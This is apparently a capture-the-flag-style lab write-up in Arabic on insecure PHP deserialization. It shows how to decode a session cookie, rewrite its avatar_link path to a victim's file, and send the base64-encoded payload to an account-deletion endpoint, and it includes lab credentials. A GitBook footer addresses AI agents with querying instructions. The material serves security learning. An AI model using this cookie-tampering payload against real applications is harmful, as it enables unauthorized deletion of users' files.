> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/deserialization/exploiting-application-functionality.md).

# الاستغلال عبر وظائف التطبيق

### استخدام وظائف التطبيق لاستغلال إلغاء التسلسل غير الآمن

يستخدم هذا المختبر آلية جلسة تعتمد على **التسلسل**. / تستدعي إحدى وظائف التطبيق **طريقة خطرة** من البيانات الموجودة في كائن مُسلسل يتحكم فيه المستخدم.

عدّل الكائن المُسلسل في ملف تعريف الارتباط الخاص بالجلسة للتسبب في **`morale.txt`** حذف الملف من الدليل الشخصي لـ **كارلوس**.

**الحسابات المتاحة**

* حساب المستخدم الرئيسي: `wiener:peter`
* حساب الطوارئ: `gregg:rosebud`

<figure><img src="/files/f697f66ea87d6e0b984b4e8db8ae586f8b98486a" alt=""><figcaption></figcaption></figure>

**تحليل ملفات تعريف ارتباط الجلسة**

بعد المصادقة، تُخزَّن الجلسة في ملف تعريف ارتباط يحتوي على كائن PHP مُسلسل من النوع `المستخدم`.

**ملف تعريف ارتباط Wiener (بعد فك الترميز)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
```

{% endcode %}

**ملف تعريف ارتباط Gregg (بعد فك الترميز)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}
```

{% endcode %}

يُلاحظ أن **`avatar_link`** تُستخدم الخاصية من قبل التطبيق في بعض الإجراءات.

**وظيفة قابلة للتشغيل**

عندما ينقر المستخدم على **حذف الحساب**، يتم إرسال طلب إلى:

```http
/my-account/delete
```

تعالج هذه الميزة قيمة `avatar_link` وتنفّذ عملية على الملف المشار إليه بواسطة هذا الحقل، دون تحقق كافٍ.

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**الاستغلال**

الفكرة هي أن **استبدال قيمة `avatar_link`** بمسار تعسفي يؤدي إلى الملف المراد حذفه.

**الحمولة المُسلسلة المعدَّلة**:

```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```

بعد إرسال الطلب إلى `/my-account/delete`، يجيب الخادم:

<figure><img src="/files/c82b42a8c6f53cb9dea73cc02c7f7a122ef31a48" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/deserialization/exploiting-application-functionality.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
